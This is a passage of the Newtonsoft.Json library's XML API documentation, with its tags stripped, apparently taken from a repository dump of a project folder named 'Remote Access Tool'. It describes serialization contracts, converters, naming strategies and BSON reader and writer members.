set extension data on. The extension data key. The extension data value. Gets extension data for an object during serialization. The object to set extension data on. Contract details for a used by the . Gets the underlying type for the contract. The underlying type for the contract. Gets or sets the type created during deserialization. The type created during deserialization. Gets or sets whether this type contract is serialized as a reference. Whether this type contract is serialized as a reference. Gets or sets the default for this contract. The converter. Gets the internally resolved for the contract's type. This converter is used as a fallback converter when no other converter is resolved. Setting will always override this converter. Gets or sets all methods called immediately after deserialization of the object. The methods called immediately after deserialization of the object. Gets or sets all methods called during deserialization of the object. The methods called during deserialization of the object. Gets or sets all methods called after serialization of the object graph. The methods called after serialization of the object graph. Gets or sets all methods called before serialization of the object. The methods called before serialization of the object. Gets or sets all method called when an error is thrown during the serialization of the object. The methods called when an error is thrown during the serialization of the object. Gets or sets the default creator method used to create the object. The default creator method used to create the object. Gets or sets a value indicating whether the default creator is non-public. true if the default object creator is non-public; otherwise, false. Contract details for a used by the . Gets or sets the dictionary key resolver. The dictionary key resolver. Gets the of the dictionary keys. The of the dictionary keys. Gets the of the dictionary values. The of the dictionary values. Gets or sets the function used to create the object. When set this function will override . The function used to create the object. Gets a value indicating whether the creator has a parameter with the dictionary values. true if the creator has a parameter with the dictionary values; otherwise, false. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets the object's properties. The object's properties. Gets or sets the property name resolver. The property name resolver. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the object constructor. The object constructor. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the object member serialization. The member object serialization. Gets or sets the missing member handling used when deserializing this object. The missing member handling. Gets or sets a value that indicates whether the object's properties are required. A value indicating whether the object's properties are required. Gets or sets how the object's properties with null values are handled during serialization and deserialization. How the object's properties with null values are handled during serialization and deserialization. Gets the object's properties. The object's properties. Gets a collection of instances that define the parameters used with . Gets or sets the function used to create the object. When set this function will override . This function is called with a collection of arguments which are defined by the collection. The function used to create the object. Gets or sets the extension data setter. Gets or sets the extension data getter. Gets or sets the extension data value type. Gets or sets the extension data name resolver. The extension data name resolver. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Maps a JSON property to a .NET member or constructor parameter. Gets or sets the name of the property. The name of the property. Gets or sets the type that declared this property. The type that declared this property. Gets or sets the order of serialization of a member. The numeric order of serialization. Gets or sets the name of the underlying member or parameter. The name of the underlying member or parameter. Gets the that will get and set the during serialization. The that will get and set the during serialization. Gets or sets the for this property. The for this property. Gets or sets the type of the property. The type of the property. Gets or sets the for the property. If set this converter takes precedence over the contract converter for the property type. The converter. Gets or sets the member converter. The member converter. Gets or sets a value indicating whether this is ignored. true if ignored; otherwise, false. Gets or sets a value indicating whether this is readable. true if readable; otherwise, false. Gets or sets a value indicating whether this is writable. true if writable; otherwise, false. Gets or sets a value indicating whether this has a member attribute. true if has a member attribute; otherwise, false. Gets the default value. The default value. Gets or sets a value indicating whether this is required. A value indicating whether this is required. Gets a value indicating whether has a value specified. Gets or sets a value indicating whether this property preserves object references. true if this instance is reference; otherwise, false. Gets or sets the property null value handling. The null value handling. Gets or sets the property default value handling. The default value handling. Gets or sets the property reference loop handling. The reference loop handling. Gets or sets the property object creation handling. The object creation handling. Gets or sets or sets the type name handling. The type name handling. Gets or sets a predicate used to determine whether the property should be serialized. A predicate used to determine whether the property should be serialized. Gets or sets a predicate used to determine whether the property should be deserialized. A predicate used to determine whether the property should be deserialized. Gets or sets a predicate used to determine whether the property should be serialized. A predicate used to determine whether the property should be serialized. Gets or sets an action used to set whether the property has been deserialized. An action used to set whether the property has been deserialized. Returns a that represents this instance. A that represents this instance. Gets or sets the converter used when serializing the property's collection items. The collection's items converter. Gets or sets whether this property's collection items are serialized as a reference. Whether this property's collection items are serialized as a reference. Gets or sets the type name handling used when serializing the property's collection items. The collection's items type name handling. Gets or sets the reference loop handling used when serializing the property's collection items. The collection's items reference loop handling. A collection of objects. Initializes a new instance of the class. The type. When implemented in a derived class, extracts the key from the specified element. The element from which to extract the key. The key for the specified element. Adds a object. The property to add to the collection. Gets the closest matching object. First attempts to get an exact case match of and then a case insensitive match. Name of the property. A matching property if found. Gets a property by property name. The name of the property to get. Type property name string comparison. A matching property if found. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Lookup and create an instance of the type described by the argument. The type to create. Optional arguments to pass to an initializing constructor of the JsonConverter. If null, the default constructor is used. A kebab case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Represents a trace writer that writes to memory. When the trace message limit is reached then old trace messages will be removed as new messages are added. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Initializes a new instance of the class. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Returns an enumeration of the most recent trace messages. An enumeration of the most recent trace messages. Returns a of the most recent trace messages. A of the most recent trace messages. A base class for resolving how property names and dictionary keys are serialized. A flag indicating whether dictionary keys should be processed. Defaults to false. A flag indicating whether extension data names should be processed. Defaults to false. A flag indicating whether explicitly specified property names, e.g. a property name customized with a , should be processed. Defaults to false. Gets the serialized name for a given property name. The initial property name. A flag indicating whether the property has had a name explicitly specified. The serialized property name. Gets the serialized name for a given extension data name. The initial extension data name. The serialized extension data name. Gets the serialized key for a given dictionary key. The initial dictionary key. The serialized dictionary key. Resolves the specified property name. The property name to resolve. The resolved property name. Hash code calculation Object equality implementation Compare to another NamingStrategy Represents a method that constructs an object. The object type to create. When applied to a method, specifies that the method is called when an error occurs serializing an object. Provides methods to get attributes from a , , or . Initializes a new instance of the class. The instance to get attributes for. This parameter should be a , , or . Returns a collection of all of the attributes, or an empty collection if there are no attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. The type of the attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Get and set values for a using reflection. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. A snake case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Specifies how strings are escaped when writing JSON text. Only control characters (e.g. newline) are escaped. All non-ASCII and control characters (e.g. newline) are escaped. HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. Indicates the method that will be used during deserialization for locating and loading assemblies. In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. Specifies type name handling options for the . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . Do not include the .NET type name when serializing types. Include the .NET type name when serializing into a JSON object structure. Include the .NET type name when serializing into a JSON array structure. Always include the .NET type name when serializing. Include the .NET type name when the type of the object being serialized is not the same as its declared type. Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON you must specify a root type object with or . Determines whether the collection is null or empty. The collection. true if the collection is null or empty; otherwise, false. Adds the elements of the specified collection to the specified generic . The list to add to. The collection of elements to add. Converts the value to the specified type. If the value is unable to be converted, the value is checked whether it assignable to the specified type. The value to convert. The culture to use when converting. The type to convert or cast the value to. The converted type. If conversion was unsuccessful, the initial value is returned if assignable to the target type. Helper method for generating a MetaObject which calls a specific method on Dynamic that returns a result Helper method for generating a MetaObject which calls a specific method on Dynamic, but uses one of the arguments for the result. Helper method for generating a MetaObject which calls a specific method on Dynamic, but uses one of the arguments for the result. Returns a Restrictions object which includes our current restrictions merged with a restriction limiting our type Helper class for serializing immutable collections. Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed https://github.com/JamesNK/Newtonsoft.Json/issues/652 Gets the type of the typed collection's items. The type. The type of the typed collection's items. Gets the member's underlying type. The member. The underlying type of the member. Determines whether the property is an indexed property. The property. true if the property is an indexed property; otherwise, false. Gets the member's value on the object. The member. The target object. The member's value on the object. Sets the member's value on the target object. The member. The target. The value. Determines whether the specified MemberInfo can be read. The MemberInfo to determine whether can be read. /// if set to true then allow the member to be gotten non-publicly. true if the specified MemberInfo can be read; otherwise, false. Determines whether the specified MemberInfo can be set. The MemberInfo to determine whether can be set. if set to true then allow the member to be set non-publicly. if set to true then allow the member to be set if read-only. true if the specified MemberInfo can be set; otherwise, false. Builds a string. Unlike this class lets you reuse its internal buffer. Determines whether the string is all white space. Empty string will return false. The string to test whether it is all white space. true if the string is all white space; otherwise, false. Specifies the state of the . An exception has been thrown, which has left the in an invalid state. You may call the method to put the in the Closed state. Any other method calls result in an being thrown. The method has been called. An object is being written. An array is being written. A constructor is being written. A property is being written. A write method has not been called. Specifies that an output will not be null even if the corresponding type allows it. Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. Initializes the attribute with the specified return value condition. The return value condition. If the method returns this value, the associated parameter will not be null. Gets the return value condition. Specifies that an output may be null even if the corresponding type disallows it. Specifies that null is allowed as an input even if the corresponding type disallows it. Specifies that the method will not return if the associated Boolean parameter is passed the specified value. Initializes a new instance of the class. The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to the associated parameter matches this value. Gets the condition parameter value. ================================================ FILE: Remote Access Tool/packages/Newtonsoft.Json.13.0.1/lib/net45/Newtonsoft.Json.xml ================================================ Newtonsoft.Json Represents a BSON Oid (object id). Gets or sets the value of the Oid. The value of the Oid. Initializes a new instance of the class. The Oid value. Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. Gets or sets a value indicating whether the root object will be read as a JSON array. true if the root object will be read as a JSON array; otherwise, false. Gets or sets the used when reading values from BSON. The used when reading values from BSON. Initializes a new instance of the class. The containing the BSON data to read. Initializes a new instance of the class. The containing the BSON data to read. Initializes a new instance of the class. The containing the BSON data to read. if set to true the root object will be read as a JSON array. The used when reading values from BSON. Initializes a new instance of the class. The containing the BSON data to read. if set to true the root object will be read as a JSON array. The used when reading values from BSON. Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Changes the reader's state to . If is set to true, the underlying is also closed. Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. Gets or sets the used when writing values to BSON. When set to no conversion will occur. The used when writing values to BSON. Initializes a new instance of the class. The to write to. Initializes a new instance of the class. The to write to. Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. Writes the end. The token. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the start of a constructor with the given name. The name of the constructor. Writes raw JSON. The raw JSON to write. Writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. Writes the beginning of a JSON array. Writes the beginning of a JSON object. Writes the property name of a name/value pair on a JSON object. The name of the property. Closes this writer. If is set to true, the underlying is also closed. If is set to true, the JSON is auto-completed. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value that represents a BSON object id. The Object ID value to write. Writes a BSON regex. The regex pattern. The regex options. Specifies how constructors are used when initializing objects during deserialization by the . First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. Json.NET will use a non-public default constructor before falling back to a parameterized constructor. Converts a binary value to and from a base 64 string value. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from JSON and BSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Creates a custom object. The object type to convert. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Creates an object which will then be populated by the serializer. Type of the object. The created object. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Provides a base class for converting a to and from JSON. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a F# discriminated union type to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an Entity Framework to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). Gets or sets the date time styles used when converting a date to and from JSON. The date time styles used when converting a date to and from JSON. Gets or sets the date time format used when converting a date to and from JSON. The date time format used when converting a date to and from JSON. Gets or sets the culture used when converting a date to and from JSON. The culture used when converting a date to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from JSON and BSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an to and from its name string value. Gets or sets a value indicating whether the written enum text should be camel case. The default value is false. true if the written enum text will be camel case; otherwise, false. Gets or sets the naming strategy used to resolve how enum text is written. The naming strategy used to resolve how enum text is written. Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. The default value is true. true if integers are allowed when serializing and deserializing; otherwise, false. Initializes a new instance of the class. Initializes a new instance of the class. true if the written enum text will be camel case; otherwise, false. Initializes a new instance of the class. The naming strategy used to resolve how enum text is written. true if integers are allowed when serializing and deserializing; otherwise, false. Initializes a new instance of the class. The of the used to write enum text. Initializes a new instance of the class. The of the used to write enum text. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. Initializes a new instance of the class. The of the used to write enum text. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. true if integers are allowed when serializing and deserializing; otherwise, false. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from Unix epoch time Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Converts a to and from a string (e.g. "1.2.3.4"). Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts XML to and from JSON. Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. The name of the deserialized root element. Gets or sets a value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. true if the array attribute is written to the XML; otherwise, false. Gets or sets a value indicating whether to write the root JSON object. true if the JSON root object is omitted; otherwise, false. Gets or sets a value indicating whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. true if special characters are encoded; otherwise, false. Writes the JSON representation of the object. The to write to. The calling serializer. The value. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Checks if the is a namespace attribute. Attribute name to test. The attribute name prefix if it has one, otherwise an empty string. true if attribute name is for a namespace attribute, otherwise false. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Specifies how dates are formatted when writing JSON text. Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. Date formatted strings are not parsed to a date type and are read as strings. Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . Specifies how to treat the time value when converting between string and . Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. Treat as a UTC. If the object represents a local time, it is converted to a UTC. Treat as a local time if a is being converted to a string. If a string is being converted to , convert to a local time if a time zone is specified. Time zone information should be preserved when converting. The default JSON name table implementation. Initializes a new instance of the class. Gets a string containing the same characters as the specified range of characters in the given array. The character array containing the name to find. The zero-based index into the array specifying the first character of the name. The number of characters in the name. A string containing the same characters as the specified range of characters in the given array. Adds the specified string into name table. The string to add. This method is not thread-safe. The resolved string. Specifies default value handling options for the . Include members where the member value is the same as the member's default value when serializing objects. Included members are written to JSON. Has no effect when deserializing. Ignore members where the member value is the same as the member's default value when serializing objects so that it is not written to JSON. This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, decimals and floating point numbers; and false for booleans). The default value ignored can be changed by placing the on the property. Members with a default value but no JSON will be set to their default value when deserializing. Ignore members where the member value is the same as the member's default value when serializing objects and set members to their default value when deserializing. Specifies float format handling options when writing special floating point numbers, e.g. , and with . Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. Note that this will produce non-valid JSON. Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. Floating point numbers are parsed to . Floating point numbers are parsed to . Specifies formatting options for the . No special formatting is applied. This is the default. Causes child objects to be indented according to the and settings. Provides an interface for using pooled arrays. The array type content. Rent an array from the pool. This array must be returned when it is no longer needed. The minimum required length of the array. The returned array may be longer. The rented array from the pool. This array must be returned when it is no longer needed. Return an array to the pool. The array that is being returned. Provides an interface to enable a class to return line and position information. Gets a value indicating whether the class can return line information. true if and can be provided; otherwise, false. Gets the current line number. The current line number or 0 if no line information is available (for example, when returns false). Gets the current line position. The current line position or 0 if no line information is available (for example, when returns false). Instructs the how to serialize the collection. Gets or sets a value indicating whether null items are allowed in the collection. true if null items are allowed in the collection; otherwise, false. Initializes a new instance of the class. Initializes a new instance of the class with a flag indicating whether the array can contain null items. A flag indicating whether the array can contain null items. Initializes a new instance of the class with the specified container Id. The container Id. Instructs the to use the specified constructor when deserializing that object. Instructs the how to serialize the object. Gets or sets the id. The id. Gets or sets the title. The title. Gets or sets the description. The description. Gets or sets the collection's items converter. The collection's items converter. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] Gets or sets the of the . The of the . The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] Gets or sets a value that indicates whether to preserve object references. true to keep object reference; otherwise, false. The default is false. Gets or sets a value that indicates whether to preserve collection's items references. true to keep collection's items object references; otherwise, false. The default is false. Gets or sets the reference loop handling used when serializing the collection's items. The reference loop handling. Gets or sets the type name handling used when serializing the collection's items. The type name handling. Initializes a new instance of the class. Initializes a new instance of the class with the specified container Id. The container Id. Provides methods for converting between .NET types and JSON types. Gets or sets a function that creates default . Default settings are automatically used by serialization methods on , and and on . To serialize without using any default settings create a with . Represents JavaScript's boolean value true as a string. This field is read-only. Represents JavaScript's boolean value false as a string. This field is read-only. Represents JavaScript's null as a string. This field is read-only. Represents JavaScript's undefined as a string. This field is read-only. Represents JavaScript's positive infinity as a string. This field is read-only. Represents JavaScript's negative infinity as a string. This field is read-only. Represents JavaScript's NaN as a string. This field is read-only. Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation using the specified. The value to convert. The format the date will be converted to. The time zone handling when the date is converted to a string. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation using the specified. The value to convert. The format the date will be converted to. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. The string delimiter character. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. The string delimiter character. The string escape handling. A JSON string representation of the . Converts the to its JSON string representation. The value to convert. A JSON string representation of the . Serializes the specified object to a JSON string. The object to serialize. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting. The object to serialize. Indicates how the output should be formatted. A JSON string representation of the object. Serializes the specified object to a JSON string using a collection of . The object to serialize. A collection of converters used while serializing. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting and a collection of . The object to serialize. Indicates how the output should be formatted. A collection of converters used while serializing. A JSON string representation of the object. Serializes the specified object to a JSON string using . The object to serialize. The used to serialize the object. If this is null, default serialization settings will be used. A JSON string representation of the object. Serializes the specified object to a JSON string using a type, formatting and . The object to serialize. The used to serialize the object. If this is null, default serialization settings will be used. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. A JSON string representation of the object. Serializes the specified object to a JSON string using formatting and . The object to serialize. Indicates how the output should be formatted. The used to serialize the object. If this is null, default serialization settings will be used. A JSON string representation of the object. Serializes the specified object to a JSON string using a type, formatting and . The object to serialize. Indicates how the output should be formatted. The used to serialize the object. If this is null, default serialization settings will be used. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. A JSON string representation of the object. Deserializes the JSON to a .NET object. The JSON to deserialize. The deserialized object from the JSON string. Deserializes the JSON to a .NET object using . The JSON to deserialize. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type. The JSON to deserialize. The of object being deserialized. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type. The type of the object to deserialize to. The JSON to deserialize. The deserialized object from the JSON string. Deserializes the JSON to the given anonymous type. The anonymous type to deserialize to. This can't be specified traditionally and must be inferred from the anonymous type passed as a parameter. The JSON to deserialize. The anonymous type object. The deserialized anonymous type from the JSON string. Deserializes the JSON to the given anonymous type using . The anonymous type to deserialize to. This can't be specified traditionally and must be inferred from the anonymous type passed as a parameter. The JSON to deserialize. The anonymous type object. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized anonymous type from the JSON string. Deserializes the JSON to the specified .NET type using a collection of . The type of the object to deserialize to. The JSON to deserialize. Converters to use while deserializing. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using . The type of the object to deserialize to. The object to deserialize. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using a collection of . The JSON to deserialize. The type of the object to deserialize. Converters to use while deserializing. The deserialized object from the JSON string. Deserializes the JSON to the specified .NET type using . The JSON to deserialize. The type of the object to deserialize to. The used to deserialize the object. If this is null, default serialization settings will be used. The deserialized object from the JSON string. Populates the object with values from the JSON string. The JSON to populate values from. The target object to populate values onto. Populates the object with values from the JSON string using . The JSON to populate values from. The target object to populate values onto. The used to deserialize the object. If this is null, default serialization settings will be used. Serializes the to a JSON string. The node to serialize. A JSON string of the . Serializes the to a JSON string using formatting. The node to serialize. Indicates how the output should be formatted. A JSON string of the . Serializes the to a JSON string using formatting and omits the root object if is true. The node to serialize. Indicates how the output should be formatted. Omits writing the root object. A JSON string of the . Deserializes the from a JSON string. The JSON string. The deserialized . Deserializes the from a JSON string nested in a root element specified by . The JSON string. The name of the root element to append when deserializing. The deserialized . Deserializes the from a JSON string nested in a root element specified by and writes a Json.NET array attribute for collections. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. The deserialized . Deserializes the from a JSON string nested in a root element specified by , writes a Json.NET array attribute for collections, and encodes special characters. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. A value to indicate whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. The deserialized . Serializes the to a JSON string. The node to convert to JSON. A JSON string of the . Serializes the to a JSON string using formatting. The node to convert to JSON. Indicates how the output should be formatted. A JSON string of the . Serializes the to a JSON string using formatting and omits the root object if is true. The node to serialize. Indicates how the output should be formatted. Omits writing the root object. A JSON string of the . Deserializes the from a JSON string. The JSON string. The deserialized . Deserializes the from a JSON string nested in a root element specified by . The JSON string. The name of the root element to append when deserializing. The deserialized . Deserializes the from a JSON string nested in a root element specified by and writes a Json.NET array attribute for collections. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. The deserialized . Deserializes the from a JSON string nested in a root element specified by , writes a Json.NET array attribute for collections, and encodes special characters. The JSON string. The name of the root element to append when deserializing. A value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. A value to indicate whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. The deserialized . Converts an object to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can read JSON. true if this can read JSON; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts an object to and from JSON. The object type to convert. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Writes the JSON representation of the object. The to write to. The value. The calling serializer. 